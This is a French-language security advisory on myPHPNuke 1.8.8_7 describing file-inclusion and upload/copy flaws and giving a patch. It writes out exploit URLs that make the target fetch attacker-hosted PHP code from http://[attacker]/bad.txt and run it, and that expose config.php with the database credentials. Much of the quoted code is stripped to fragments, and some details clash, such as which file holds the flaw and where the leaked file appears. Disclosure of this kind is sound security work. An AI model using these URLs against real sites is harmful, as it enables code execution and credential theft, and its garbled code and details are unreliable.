myPHPNuke ********* Developpement : °°°°°°°°°°°°°°° Langage : PHP Version : 1.8.8_7 Website : http://www.myphpnuke.com Problèmes : - Upload/Copie/Inclusions de fichiers Developpement : °°°°°°°°°°°°°°° myPHPNuke est un CMS completement reconstitué mais, comme le dis son nom, basé sur PHP-Nuke. Cette applic est touchée par deux failles importantes. La première, une faille d'inclusion de fichiers, se touve dans le fichier gallery/displayCategory.php : ------------------------------------------ [...] attach();"; } else { die("No input file specified"); } echo ""; } else { ?> [...] ----------------------------------------------------- Il faut d'abord savoir que la valeur de $attachmentdir, le dossier où est uploadé le fichier, a comme valeur '/attachments/'. On voit dans ce code qui si $submit n'est pas vide, le fichier $attach1 est copié vers /attachments/$attach1_name. Je rapelle que $attach1_name a une valeur attribuée à PHP, qui est le nom du fichier $attach1. Bien sûr si ça n'avait pas été $attach1 mais $fichier1, la variable aurait été $fichier1_name. Le gros problème c'est que cette variable peut aussi se voir attribuer une valeur par n'importe qui ! Cela implique une faille. En effet, en plus de pouvoir uploader simplement un fichier depuis son disque dûr, on peut faires deux autres choses. D'abord copier un fichier extérieur sur le disque dur du site web. Par exemple, si on a le fichier http://[attacker]/bad.txt contenant le code : --------------- --------------- Et qu'on tape comme url chez la victime : http://[target]/mailattach.php?submit=1&attach1=http://[attacker]/bad.txt&attach1_name=../bad.php , le code PHP pourra être exécuté sur le serveur de cette victime à l'url http://[target]/bad.php . Mais on peut aussi se servir de cette faille pour lire des fichiers du disque dur de la victime. Par exemple pour lire le fichier (créé à l'installation) admin/original/config.php, qui contient toutes les infos de la DB, il suffira de taper une url du style : http://[target]/mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=DBInfos.txt et le fichier sera accessible à l'url http://[attacker]/attachments/DBInfos.txt Solutions : °°°°°°°°°°° Un patch est disponible sur http://www.phpsecure.info. Dans gallery/displayCategory.php, il suffit d'ajouter au tout début les lignes : ------------------------------------------------------------------- if (isset($_REQUEST["basepath"]) OR isset($_REQUEST["adminpath"])){ die("Patched."); } ------------------------------------------------------------------- Qui empêche à l'utilisateur de définir lui-même ces deux variables. Dans mailattach.php, ajouter juste après : ------------------------- [...]